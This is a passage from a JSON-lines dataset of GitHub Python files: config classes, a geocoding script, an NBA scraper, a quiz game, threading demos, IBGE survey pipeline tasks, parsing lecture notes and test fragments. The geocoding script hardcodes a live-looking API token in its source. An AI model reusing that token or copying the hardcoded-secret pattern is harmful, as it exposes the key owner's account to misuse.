  object.__getattribute__(self, item)\n        except AttributeError:\n            try:\n                del self[item]\n            except KeyError:\n                raise AttributeError(item)\n        else:\n            object.__delattr__(self, item)\n\n    def __getattr__(self, item):\n        \"\"\"\n        \"\"\"\n        try:\n            return object.__getattribute__(self, item)\n        except:\n            try:\n                return self[item]\n            except:\n                raise AttributeError(item)\n\n    def __setattr__(self, key, value):\n        try:\n            object.__getattribute__(self, key)\n        except AttributeError:\n            try:\n                # allow for specific properties to be set on the base class and not be part of the dict.\n                if key.startswith('_') and key[1:] in dir(self):\n                    object.__setattr__(self, key, value)\n                else:\n                    self[key] = value\n            except:\n                raise AttributeError(key)\n        else:\n            object.__setattr__(self, key, value)\n\n\nclass ConfigSeq(list, ConfigNode):\n    def __init__(self, node_data, start_mark=None, end_mark=None):\n        list.__init__(self, node_data)\n        ConfigNode.__init__(self, start_mark, end_mark)\n\n\nclass ConfigUnicode(str, ConfigNode):\n    def __init__(self, node_data, start_mark=None, end_mark=None):\n        ConfigNode.__init__(self, start_mark, end_mark)\n\n    def __new__(cls, node_data, start_mark=None, end_mark=None):\n        obj = super(ConfigUnicode, cls).__new__(cls, node_data)\n\n        return obj\n\n\nclass ConfigInt(int, ConfigNode):\n    def __init__(self, node_data, start_mark=None, end_mark=None):\n        ConfigNode.__init__(self, start_mark, end_mark)\n\n    def __new__(cls, node_data, start_mark=None, end_mark=None):\n        return super(ConfigInt, cls).__new__(cls, node_data)\n\n\nclass ConfigFloat(float, ConfigNode):\n    def __init__(self, node_data, start_mark=None, end_mark=None):\n        ConfigNode.__init__(self, start_mark, end_mark)\n\n    def __new__(cls, node_data, start_mark=None, end_mark=None):\n        try:\n            return float.__new__(cls, node_data)\n        except TypeError:\n            raise TypeError(node_data)\n        except ValueError:\n            raise ValueError(node_data)\n\n\n##\n# exception classes\n##\nclass ConfigValidationException(Exception):\n    def __init__(self, ancestors, property_name, data, validation_type, validation_value):\n        self.ancestors          = ancestors\n        self.data               = data\n        self.property_name      = property_name\n        self.validation_type    = validation_type\n        self.validation_value   = validation_value\n        self.parent_key         = list(self.ancestors)[-1]\n        self.parent_value       = ancestors.get(self.parent_key)\n        self._property_location = None\n        self._potential_fixes   = []\n\n        if isinstance(data, ConfigNode):\n            self._property_location = 'line: {0} column: {1}.'.format(data.start_mark.line, data.start_mark.column)\n\n        super(ConfigValidationException, self).__init__(self.message)\n\n    @property\n    def message(self):\n        msg = '{0} failed validation: {1}.'.format(self.property_name, self.validation_type)\n\n        if self._property_location:\n            msg = '{0} {1}'.format(msg, self._property_location)\n\n        fixes = self.potential_fixes()\n        if fixes:\n            msg = '{0} {1}'.format(msg, fixes)\n\n        return msg\n\n    def log_error(self):\n        logger.error(self.message)\n\n    def potential_fixes(self):\n        # TODO: need to make this solid and provide better searching.\n        potential_parent_fixes = None\n        msg                    = ''\n\n        if self.validation_type == 'unrecognized':\n            potential_parent_fixes = self.__search_ancestors()\n\n        if isinstance(self.validation_value, dict):\n            self._potential_fixes = get_close_matches(self.property_name, self.validation_value.keys(), cutoff=0.5)\n\n            if not self._potential_fixes:\n                if potential_parent_fixes:\n                    self._potential_fixes = potential_parent_fixes\n                else:\n                    self._potential_fixes = self.validation_value.keys()\n\n        elif isinstance(self.validation_value, (list, tuple)):\n            self._potential_fixes = get_close_matches(self.property_name, self.validation_value, cutoff=0.5)\n\n            if not self._potential_fixes:\n                if potential_parent_fixes:\n                    self._potential_fixes = potential_parent_fixes\n                else:\n                    self._potential_fixes = self.validation_value\n        else:\n            self._potential_fixes.append(six.text_type(self.validation_value))\n\n        if not msg:\n            msg = 'Potential fixes in {0} add/delete/update {1}.'.format(self.property_name, ', '.join(self._potential_fixes))\n\n        return msg if self._potential_fixes else None\n\n    def is_potential_fix_valid(self):\n        return bool(get_close_matches(self.property_name, self._potential_fixes, cutoff=0.6))\n\n    @property\n    def property_location(self):\n        return self._property_location\n\n    def __str__(self):\n        return super(ConfigValidationException, self).__str__()\n\n    def __search_ancestors(self):\n        # TODO: fix messaging here.\n        potential_fixes = []\n\n        for ancestor_key, ancestor_item in six.iteritems(self.ancestors):\n            if ancestor_key == self.parent_key:\n                break\n\n            for match in get_close_matches(self.parent_key, ancestor_item, cutoff=0.4):\n                if match == self.parent_key:\n                    continue\n\n                potential_fixes.append(match)\n\n        return potential_fixes\n\n\nclass ConfigOneOfException(ConfigValidationException):\n    def __init__(self, ancestors, property_name, data, validation_type, validation_value):\n        self.additional_messages = []\n        self.property_name       = property_name\n        super(ConfigOneOfException, self).__init__(ancestors, property_name, data, validation_type, validation_value)\n\n    @property\n    def message(self):\n        msg = '{0} failed validation: {1}.'.format(self.property_name, self.validation_type)\n\n        if self._property_location:\n            msg = '{0} {1}'.format(msg, self._property_location)\n\n        if self.additional_messages:\n            msg = ' {0}\\nPotential fixes:'.format(msg)\n\n            for message in self.additional_messages:\n                msg = '{0}\\n    - {1}'.format(msg, message)\n\n        return msg\n","repo_name":"TUNE-Archive/freight_forwarder","sub_path":"freight_forwarder/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":70723,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"2368417518","text":"import requests\r\n\r\n# Base Url for geocoding\r\nurl = \"https://us1.locationiq.com/v1/search.php\"\r\n\r\naddress = input(\"Input the address: \")\r\n\r\n\r\nprivate_token = \"pk.7519b33c3300b85c7f98b663c9c46596\"\r\n\r\ndata = {\r\n    'key': private_token,\r\n    'q': address,\r\n    'format': 'json'\r\n}\r\n\r\nresponse = requests.get(url, params=data)\r\n\r\nlatitude = response.json()[0]['lat']\r\nlongitude = response.json()[0]['lon']\r\n\r\nprint(f\"The latitude of the given address is: {latitude}\")\r\nprint(f\"The longitude of the given address is: {longitude}\")\r\n","repo_name":"PatheticScum/geolocation-projects","sub_path":"gecoding.py","file_name":"gecoding.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11358938042","text":"import time\n\ndef fib(x):\n\tif x ==0:\n\t\treturn 0\n\t\n\telif x == 1:\n\t\treturn 1\n\telse:\n\t\treturn fib(x-1) + fib(x-2)\n\nstartTime = time.time()\n\nprint(\"%-14s:%d\" % (\"Result:\" , fib(32)))\nprint(\"%-14s:%.4f seconds\" % (\"Elapsed time: \", time.time() - startTime))\n\n","repo_name":"manankshastri/self-d","sub_path":"extra/dynamic1.py","file_name":"dynamic1.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35971259829","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN = int(input().rstrip())\r\n\r\nresult = 0\r\n\r\nfor i in range(1, N+1) :\r\n    list_ = list(map(int, str(i)))\r\n\r\n    result = i + sum(list_)\r\n\r\n    if result == N :\r\n        print(i)\r\n        break\r\n\r\n    if i == N:\r\n        print(0)","repo_name":"sinji2102/boj-python","sub_path":"백준/Bronze/2231. 분해합/분해합.py","file_name":"분해합.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71317602750","text":"from enum import unique\nimport sched\nimport requests\nfrom datetime import datetime, timedelta\nfrom bs4 import BeautifulSoup\nimport calendar\nimport pandas as pd\nimport time\n\n\ndef parse_month(url):\n    time.sleep(5)  # Adding a sleep, otherwise, we get 429 error\n    # Create a BeautifulSoup object from the response content\n    response = requests.get(url)\n    if response.status_code == 429:\n        retry_after = response.headers.get('Retry-After')\n        print(\"You received a 429 status code. Retry after:\", retry_after)\n    else:\n        print(\"Request was successful.\")\n\n    soup = BeautifulSoup(response.content, 'html.parser')\n\n    # Find the table containing the schedule\n    table = soup.find('table', id='schedule')\n\n    # Extract the schedule data from the table\n    for row in table.find_all('tr'):\n        try:\n            cells = row.find_all('td')\n            if len(cells) >= 5:\n                ad = row.find_all('a')\n                date = f'{ad[0].text} {cells[0].text}'\n                visitor_team = cells[1].text\n                visitor_score = cells[2].text\n                home_team = cells[3].text\n                home_score = cells[4].text\n                datetimeobj = datetime.strptime(\n                    f'{date}m', \"%a, %b %d, %Y %I:%M%p\")\n\n                end_of_regular_season = datetime(2023, 4, 10)\n                # print(date, visitor_team, visitor_score, home_team, home_score)\n                if datetimeobj >= end_of_regular_season:\n                    continue\n\n                yield (date, datetimeobj, visitor_team, int(visitor_score), home_team, int(home_score))\n        except ValueError as e:\n            # Exception handling\n            print(\"Caught an exception:\", e)\n\n\ndef get_url(year, month):\n    return f'https://www.basketball-reference.com/leagues/NBA_{year}_games-{month}.html'\n\n\nunique_teams = {'Orlando Magic', 'Boston Celtics', 'Philadelphia 76ers', 'Atlanta Hawks', 'Washington Wizards', 'New York Knicks', 'Minnesota Timberwolves', 'San Antonio Spurs', 'Brooklyn Nets', 'Houston Rockets', 'Golden State Warriors', 'Miami Heat', 'Indiana Pacers', 'New Orleans Pelicans', 'Oklahoma City Thunder',\n                'Denver Nuggets', 'Los Angeles Clippers', 'Los Angeles Lakers', 'Dallas Mavericks', 'Chicago Bulls', 'Toronto Raptors', 'Memphis Grizzlies', 'Detroit Pistons', 'Portland Trail Blazers', 'Sacramento Kings', 'Cleveland Cavaliers', 'Phoenix Suns', 'Milwaukee Bucks', 'Utah Jazz', 'Charlotte Hornets'}\n\n\ndef get_team_schedule_analysis(year, team):\n    # Get a list of month names\n    month_strings = list(calendar.month_name)\n\n    # Remove the empty first element\n    month_strings = [month.lower() for month in month_strings[1:]]\n    season_months = month_strings[9:] + month_strings[:4]\n\n    record = (0, 0)\n    b2b_games = 0\n    road_b2b_games = 0\n\n    for month in season_months:\n        url = get_url(year, month)\n        prev_data = None\n        for date, datetimeobj, visitor, vscore, home, hscore in parse_month(url):\n\n            w, l = record\n            if visitor == team:\n                if vscore > hscore:\n                    record = (w + 1, l)\n                else:\n                    record = (w, l + 1)\n\n                if prev_data != None and (datetimeobj - prev_data[1]) < timedelta(hours=40):\n                    b2b_games += 1\n\n                    if prev_data[2] == team:\n                        road_b2b_games += 1\n                prev_data = date, datetimeobj, visitor, vscore, home, hscore\n            elif home == team:\n                if hscore > vscore:\n                    record = (w + 1, l)\n\n                else:\n                    record = (w, l + 1)\n\n                if prev_data != None and (datetimeobj - prev_data[1]) < timedelta(hours=40):\n                    b2b_games += 1\n\n                prev_data = (date, datetimeobj, visitor, vscore, home, hscore)\n\n    return record, b2b_games, road_b2b_games\n\n\ndef add_data_frame(data):\n    data = (('John', 25, 'USA'), ('Emily', 30, 'Canada'), ('Michael', 35, 'UK'))\n\n    df = pd.DataFrame(data, columns=[\n                      'Team', 'Record', 'Back-To-Back Games', 'Road Back-To-Back Games'])\n\n    return df\n\n\nif __name__ == \"__main__\":\n    year = 2023  # Applies to 2022-2023 season\n    team = 'Golden State Warriors'\n\n    record, b2b_games, road_b2b_games = get_team_schedule_analysis(\n        year, team)\n\n    print(f'{team} Record {record}, Back-To-Back Games {b2b_games}, Road Back-To-Back Games {road_b2b_games}')\n","repo_name":"deanagan/NBA-Analysis","sub_path":"src/bkref-scraper.py","file_name":"bkref-scraper.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19712232865","text":"def new_game():\r\n    \r\n    guesses = []\r\n    correct_guesses = 0\r\n    question_num = 0\r\n\r\n    for key in questions:\r\n        print(\"---------------------\")\r\n        print(key)\r\n\r\n        for i in options[question_num]:\r\n            print(i)\r\n        guess = input(\"Enter (A , B, C, or D: )\")\r\n        guess = guess.upper()\r\n        guesses.append(guess)\r\n\r\n        correct_guesses += chech_answer(questions.get(key),guess)\r\n        question_num += 1\r\n    display_score(correct_guesses, guesses)\r\n\r\n\r\ndef chech_answer(answer, guess):\r\n    \r\n    if answer == guess:\r\n        print(\"CORRECT!\")\r\n        return 1\r\n    else:\r\n        print(\"WRONG!\")\r\n        return 0 \r\n\r\ndef display_score(correct_guesses, guesses):\r\n    print(\"----------------------\")\r\n    print(\"RESULT\")\r\n    print(\"----------------------\")\r\n\r\n    print(\"Answers :\", end=\"\")\r\n    for i in questions:\r\n        print(questions.get(i), end=\" \")\r\n    print()\r\n\r\n    print(\"Guesses :\", end=\"\")\r\n    for i in guesses:\r\n        print(i, end=\" \")\r\n    print()\r\n\r\n    score = int((correct_guesses/len(questions))*100)\r\n    print(\"Your score is: \" + str(score) + \"%\")\r\ndef play_again():\r\n    response = input(\" Do you want play again?(yes/no): \")\r\n    response = response.upper()\r\n\r\n    if response == \"YES\":\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\n\r\nquestions = {\r\n    \"1 - 2 = ?\": \"A\",\r\n    \"are you dumb? \": \"B\",\r\n    \"are you in college? \": \"C\",\r\n    \"what's your age? \": \"A\"\r\n} \r\n\r\noptions = [[\"A. -1\", \"B. 1\",\"C. 10\",\"D. 2\"],\r\n           [\"A. yes\", \"B. ofcourse\", \"C. no, i am chutiya\", \"D. WTF!\"],\r\n           [\"A. No\", \"B. Yes\", \"C. i at home\", \"D. Yes, it is bad\"],\r\n           [\"A. 1\", \"B. 18\", \"C. 16\", \"D. bachanpan se ka 18 hun\"]]\r\n\r\n\r\nnew_game()\r\n\r\nwhile play_again():\r\n    new_game()\r\n\r\nprint(\"byeee\")","repo_name":"Nikhil690/Having-fun","sub_path":"game2.py","file_name":"game2.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43352461274","text":"import os\nfrom typing import Any\n\nimport torch\nimport torch.multiprocessing\nfrom cyy_naive_lib.data_structure.task_queue import BatchPolicy, TaskQueue\nfrom cyy_torch_toolbox.device import get_device_memory_info, get_devices\n\n\nclass CUDABatchPolicy(BatchPolicy):\n    def adjust_batch_size(self, batch_size: int, **kwargs: Any) -> int:\n        device = kwargs[\"device\"]\n        if (\n            batch_size + 1 not in self._processing_times\n            or self._processing_times[batch_size + 1]\n            < self._processing_times[batch_size]\n        ):\n            memory_info = get_device_memory_info(device=device, consider_cache=True)\n            if memory_info[device].free / memory_info[device].total > 0.2:\n                return batch_size + 1\n        return batch_size\n\n\nclass TorchTaskQueue(TaskQueue):\n    def __init__(self, worker_num: int | None = None, **kwargs: Any) -> None:\n        self._devices: list = get_devices()\n        if worker_num is None:\n            worker_num = len(self._devices)\n            if \"cpu\" in self._devices[0].type.lower():\n                worker_num = os.cpu_count()\n        super().__init__(worker_num=worker_num, **kwargs)\n\n    def _get_task_kwargs(self, worker_id: int) -> dict:\n        kwargs = super()._get_task_kwargs(worker_id) | {\n            \"device\": self._devices[worker_id % len(self._devices)]\n        }\n        if self._batch_process and torch.cuda.is_available():\n            kwargs[\"batch_policy\"] = CUDABatchPolicy()\n        return kwargs\n","repo_name":"cyyever/torch_toolbox","sub_path":"cyy_torch_toolbox/data_structure/torch_task_queue.py","file_name":"torch_task_queue.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"14746199499","text":"from threading import Thread\nfrom threading import Lock\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nclass Counter:\n    def __init__(self):\n        self.count = 0\n\n    @property\n    def increment(self):\n        self.count += 1   \n                \n\nclass Worker:\n    def __call__(self,counter,how_many):\n        for _ in range(how_many):\n            counter.increment\n\ndef run_threads():\n    how_many = 10**5\n    counter = Counter()\n    threads = []\n    worker = Worker()\n    for i in range(5):\n        thread = Thread(target = worker, args = (counter,how_many))\n        threads.append(thread)\n        thread.start()\n    for thread in threads:\n        thread.join()\n    print(\"true output is: 5000000, but the real output is: {}\".format(counter.count)) \n\n\n\n#-------------lock--------------------\n\n\nclass LockCounter:\n    def __init__(self):\n        self.lock = Lock() \n        self.count = 0\n\n    @property\n    def increment(self):\n        with self.lock:\n            self.count += 1\n\n\ndef run_threads_withlock():\n    how_many = 10**5\n    counter = LockCounter()\n    threads = []\n    pool = ThreadPool(5)\n    worker = Worker()\n    for i in range(10):\n        pool.apply_async(func = worker,args = (counter,how_many))\n    \n    pool.close()\n    pool.join()\n    print(\"true output is: 1000000, but the real output is: {}\".format(counter.count))    \n\n\n\n\nif __name__ == '__main__':\n    run_threads() \n    run_threads_withlock()          \n\n\n","repo_name":"zhangruochi/PythonLittleSkills","sub_path":"lock.py","file_name":"lock.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"338747798","text":"def maxDepth(s: str) -> int:\n    stack = []\n    count = 0\n    m = 0\n    for i in s:\n        if m < count:\n            m = count\n        if i == \"(\":\n            count += 1\n            stack.append(i)\n        if i == \")\":\n            count -= 1\n            stack.pop(-1)\n    return m\n\n\nif __name__ == '__main__':\n    s = \"(1+(2*3)+((8)/4))+1\"\n    res = maxDepth(s)\n    print(res)\n","repo_name":"cj495840252/leetcode","sub_path":"牛客/括号序列.py","file_name":"括号序列.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32596980476","text":"# -*- coding: utf-8 -*-\nimport pymongo\nimport csv\n\n\nclass ShopAnalysis(object):\n\n    def __init__(self):\n        self.client = pymongo.MongoClient(host=\"localhost\")\n        self.db = self.client[\"food_gg\"]\n        self.tb = self.db[\"shops\"]\n\n    def shops(self, db, table, out):\n        self.db = self.client[db]\n        self.tb = self.db[table]\n\n        with open(\"./shop/{}\".format(out), \"w\", newline='') as f:\n            title = [\"店铺ID\",\"名称\", \"地址\", \"坐标\", \"月售\"]\n\n            writer = csv.writer(f)\n\n            writer.writerow(title)\n\n            result = self.tb.find().sort(\"sales\", -1)\n\n            for record in result:\n                result_row = [record.get(\"id\"),\n                              record.get(\"name\"),\n                              record.get(\"address\"),\n                              record.get(\"position\"),\n                              record.get(\"sales\"), ]\n\n                try:\n                    writer.writerow(result_row)\n                except Exception as ex:\n                    print(ex)\n\n        print(self.tb.count())","repo_name":"sondeer/spider_analysis","sub_path":"ele_analysis/shops.py","file_name":"shops.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1729797974","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTasks for br_ibge_pnadc\n\"\"\"\nimport os\n\n# pylint: disable=invalid-name,unnecessary-dunder-call\nimport zipfile\nfrom glob import glob\n\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom prefect import task\nfrom tqdm import tqdm\n\nfrom pipelines.datasets.br_ibge_pnadc.constants import constants as pnad_constants\nfrom pipelines.utils.utils import log\n\n\n@task\ndef get_year_quarter(year, quarter):\n    return f\"{year}-{quarter}\"\n\n\n@task\ndef get_url_from_template(year: int, quarter: int) -> str:\n    \"\"\"Return the url for the PNAD microdata file for a given year and month.\n    Args:\n        year (int): Year of the microdata file.\n        quarter (int): Quarter of the microdata file.\n    Returns:\n        str: url\n    \"\"\"\n    download_page = f\"https://ftp.ibge.gov.br/Trabalho_e_Rendimento/Pesquisa_Nacional_por_Amostra_de_Domicilios_continua/Trimestral/Microdados/{year}/\"\n    response = requests.get(download_page, timeout=5)\n\n    if response.status_code >= 400 and response.status_code <= 599:\n        raise Exception(f\"Erro de requisição: status code {response.status_code}\")\n\n    else:\n        hrefs = [k for k in response.text.split('href=\"')[1:] if \"zip\" in k]\n        hrefs = [k.split('\"')[0] for k in hrefs]\n        filename = None\n        for href in hrefs:\n            if f\"0{quarter}{year}\" in href:\n                filename = href\n        if not filename:\n            raise Exception(\"Erro: o atributo href não existe.\")\n\n        url = pnad_constants.URL_PREFIX.value + \"/{year}/{filename}\"\n    return url.format(year=year, filename=filename)\n\n\n@task\ndef download_txt(url, chunk_size=128, mkdir=False) -> str:\n    \"\"\"\n    Gets all csv files from a url and saves them to a directory.\n    \"\"\"\n    if mkdir:\n        os.system(\"mkdir -p /tmp/data/input/\")\n\n    request_headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\",\n    }\n    r = requests.get(url, headers=request_headers, stream=True, timeout=10)\n    save_path = \"/tmp/data/\"\n    save_path = save_path + url.split(\"/\")[-1]\n    with open(save_path, \"wb\") as fd:\n        for chunk in tqdm(r.iter_content(chunk_size=chunk_size)):\n            fd.write(chunk)\n\n    with zipfile.ZipFile(save_path) as z:\n        z.extractall(\"/tmp/data/input\")\n    os.system('cd /tmp/data/input; find . -type f ! -iname \"*.txt\" -delete')\n    filepath = glob(\"/tmp/data/input/*.txt\")[0]\n\n    log(f\"Using file {filepath}\")\n\n    return filepath\n\n\n@task\ndef build_parquet_files(filepath: str) -> str:\n    \"\"\"\n    Build parquets from txt original file.\n    \"\"\"\n\n    os.system(\"mkdir -p /tmp/data/staging/\")\n    # read file\n    chunks = pd.read_fwf(\n        filepath,\n        widths=pnad_constants.COLUMNS_WIDTHS.value,\n        names=pnad_constants.COLUMNS_NAMES.value,\n        header=None,\n        encoding=\"utf-8\",\n        dtype=str,\n        chunksize=10000,\n    )\n\n    for i, chunk in enumerate(chunks):\n        # partition by year, quarter and region\n        chunk.rename(\n            columns={\n                \"UF\": \"id_uf\",\n                \"Estrato\": \"id_estrato\",\n                \"UPA\": \"id_upa\",\n                \"Capital\": \"capital\",\n                \"RM_RIDE\": \"rm_ride\",\n                \"Trimestre\": \"trimestre\",\n                \"Ano\": \"ano\",\n            },\n            inplace=True,\n        )\n        chunk[\"sigla_uf\"] = chunk[\"id_uf\"].map(pnad_constants.map_codigo_sigla_uf.value)\n        chunk[\"id_domicilio\"] = chunk[\"id_estrato\"] + chunk[\"V1008\"] + chunk[\"V1014\"]\n\n        chunk[\"habitual\"] = [np.nan] * len(chunk)\n        chunk[\"efetivo\"] = [np.nan] * len(chunk)\n        ordered_columns = pnad_constants.COLUMNS_ORDER.value\n        chunk = chunk[ordered_columns]\n\n        # save to parquet\n        chunk.to_parquet(\n            f\"/tmp/data/staging/microdados_{i}.parquet\",\n            index=False,\n        )\n\n    # print number of parquet files\n    total_files = len(glob(\"/tmp/data/staging/*.parquet\"))\n    log(f\"Total of {total_files} parquet files created.\")\n\n    return \"/tmp/data/staging/\"\n\n\n@task\ndef save_partitions(filepath: str) -> str:\n    \"\"\"\n    Save partitions to disk.\n\n    Args:\n        filepath (str): Path to the file used to build the partitions.\n\n    Returns:\n        str: Path to the saved file.\n\n    \"\"\"\n    os.system(\"mkdir -p /tmp/data/output/\")\n\n    # get all parquet files\n    parquet_files = glob(f\"{filepath}*.parquet\")\n    # read all parquet files\n    df = pd.concat([pd.read_parquet(f) for f in parquet_files])\n\n    trimestre = df[\"trimestre\"].unique()[0]\n    ano = df[\"ano\"].unique()[0]\n    df.drop(columns=[\"trimestre\", \"ano\"], inplace=True)\n    ufs = df[\"sigla_uf\"].unique()\n\n    for uf in ufs:\n        df_uf = df[df[\"sigla_uf\"] == uf]\n        df_uf.drop(columns=[\"sigla_uf\"], inplace=True)\n        os.system(\n            \"mkdir -p /tmp/data/output/ano={ano}/trimestre={trimestre}/sigla_uf={uf}\".format(\n                ano=ano, trimestre=trimestre, uf=uf\n            )\n        )\n        df_uf.to_csv(\n            f\"/tmp/data/output/ano={ano}/trimestre={trimestre}/sigla_uf={uf}/microdados.csv\",\n            index=False,\n        )\n\n    return \"/tmp/data/output/\"\n","repo_name":"basedosdados/pipelines","sub_path":"pipelines/datasets/br_ibge_pnadc/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"60"}
+{"seq_id":"71238514750","text":"#  parsing texts\n\n# -------------------------------------------------------\n# regex in Python\n# * vs +\n# () for grouping\n\nimport re\nif re.match(\"brr+um\", \"brrrrrum!!!!\"):\n    print(\"match\")\n\n# match vs search\n# match - prefix of string\n# search - anywhere in the string\n\n# returns match object or None\n\n# compile regex if you use it a lot\n# refer to string-matching algorithms (and how they build somewhat finite automata for given pattern)\nautomata = re.compile('brr+um')\nres = automata.search('test brrrum')\nprint(res)\nprint(res.group())\nprint(res.start())\n\n# example: find all links to other sites\n# we assume some stuff for simplification\n\naddress = '([a-zA-Z]+.)*[a-zA-Z]+'\nregex_cmpl = re.compile('http://' + address)\n\nimport urllib.request\n\nhost = \"http://www.ii.uni.wroc.pl\"\n\nwith urllib.request.urlopen(host) as f:\n    text = f.read().decode('utf-8')\n\nprint([url.group() for url in regex_cmpl.finditer(text)])\n\n# more symobls\n# {m, n} -> at least m, at most n\n# ? -> 0/1 appearance\n# w1|w2 -> alternative\n# . -> any symbol\n# \\d, \\w, \\Z -> digit, alphanumeric, end of text\n\n# escaping for special char is easy\n# but how to find '\\['\nre.match(\"\\\\\\\\\\[\", \"[\")\n# how does it happen?\n# first python converts it using escapes to `\\\\\\[`\n# then according to regex rules `\\\\` -> `\\`, `\\[` -> `[`\n# we can use raw strings to cut down on processing steps\n\n# grouping fragments of regex\nres = re.match(\"a(b*)a.*(a)\", \"abbabbba\")\nprint(res.groups())\n\n# grouping expression\n# (?P<name>regexp)\n\n# example: get day/month/year from year\npattern = \"(?P<year>\\d{4})(?P<month>\\d{2})(?P<day>\\d{2})\"\nres = re.search(pattern, \"in the date 20211116 there is sth\")\nprint(res.group(\"year\"), \"-\", res.group(\"month\"), \"-\", res.group(\"day\"))\n\n# re.sub() example on slides (converting date format)\n# re.sub(pattern, func, text) where func takes match object and returns string\n\n# -------------------------------------------------------\n# processing HTML\n# HTML is a sequence of tags\n# we have <stard> and </end> tags\n\n# ---\n# html.parser.HTMLParser\n# has handlers for start/end tag and data, attributes\n# class MyHTMLParser(html.parser.HTMLParser)\n# myparser.feed(page)\n\n# example: print all \"href\" links\nimport html.parser\n\n\nclass MyHTMLParser(html.parser.HTMLParser):\n    def handle_starttag(self, tag, attrs):\n        if tag == 'a':\n            for (atr, val) in attr:\n                if atr == 'href':\n                    print(val)\n\n\nmy_parser = MyHTMLParser()\n\n# with open('python.html') as data:\n#   my_parser.feed(data)\n\n# ---\n# BeautifulSoup -> (not in standard :( )\n# import bs4\n# and we can access by '.' methods after parsing the page\n# for example\n# data.title.string\n# data.title.parent.name\n\n# example: list of links\n# [link.get('href') for link in dane.find_all('a')]\n\n# example: all links to thumbnails\n# find all images where there is attribute that matches to the regex\n# data.find_all('img', { 'src': re.compile('.*thumbnail.*') })\n\n# -------------------------------------------------------\n# XML parsing\n\n# ---\n# 1st strategy -> similar to above html.parser.HTMLParser\n# xml.sax -> read-only, fast, but memory-heavy\n# class handle.ContextHandler\n\n# example: spreadsheet structure (both for .ods, and .xlsx) is .xml (content.xml)\n# tip: read it using a browser (like firefox)\n# implementing .ods parser for the spreadsheet\n# zipfile lib usage -> unzipping \"temporary in memory\" & just using zf.open() for files inside\n\n# 2nd strategy -> creating DOM (Document Object Model) tree representing XML\n# Node object -> name, value, attributes, childNodes\n# we can then parse node by node\n# appending/removing/replacing children\n\n# BeautifulSoup can also be used for xml parsing\n","repo_name":"arturJan4/University","sub_path":"5_Semester/KJP/Wyklady/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8009428217","text":"a=int(input('Sayı1:'))\r\nb=int(input('Sayı2:'))\r\nc=int(input('Sayı3:'))\r\n\r\nif(a>=b) and (a>=c):\r\n    buyuk=a\r\nelif(b>=a) and (b>=c):\r\n    buyuk=b\r\nelse:\r\n    buyuk=c\r\n    if (a <= b) and (a <= c):\r\n        kucuk = a\r\n    elif (b <= a) and (b <= c):\r\n        kucuk = b\r\n    else:\r\n        kucuk = c\r\nprint(a, b, \"ve\", c, \"sayıları içinde en küçük olan sayı:\", kucuk)\r\nprint(a,b, \"ve\", c , \"sayıları içinde en büyük olan sayı:\",buyuk)","repo_name":"Ugur361/pythonAssignments","sub_path":"python ödev1.py","file_name":"python ödev1.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4699332020","text":"import numpy as np\nimport pandas as pd\nimport pytest\n\nfrom etna.analysis.decomposition.utils import _get_labels_names\nfrom etna.analysis.decomposition.utils import _resample\nfrom etna.analysis.decomposition.utils import _seasonal_split\nfrom etna.datasets import TSDataset\nfrom etna.transforms import LinearTrendTransform\nfrom etna.transforms import TheilSenTrendTransform\n\n\n@pytest.mark.parametrize(\n    \"poly_degree, expect_values, trend_class\",\n    (\n        [1, True, LinearTrendTransform],\n        [2, False, LinearTrendTransform],\n        [1, True, TheilSenTrendTransform],\n        [2, False, TheilSenTrendTransform],\n    ),\n)\ndef test_get_labels_names_linear_coeffs(example_tsdf, poly_degree, expect_values, trend_class):\n    ln_tr = trend_class(in_column=\"target\", poly_degree=poly_degree)\n    ln_tr.fit_transform(example_tsdf)\n    segments = example_tsdf.segments\n    _, linear_coeffs = _get_labels_names([ln_tr], segments)\n    if expect_values:\n        assert list(linear_coeffs.values()) != [\"\", \"\"]\n    else:\n        assert list(linear_coeffs.values()) == [\"\", \"\"]\n\n\n@pytest.mark.parametrize(\n    \"timestamp, cycle, expected_cycle_names, expected_in_cycle_nums, expected_in_cycle_names\",\n    [\n        (\n            pd.date_range(start=\"2020-01-01\", periods=5, freq=\"D\"),\n            3,\n            [\"1\", \"1\", \"1\", \"2\", \"2\"],\n            [0, 1, 2, 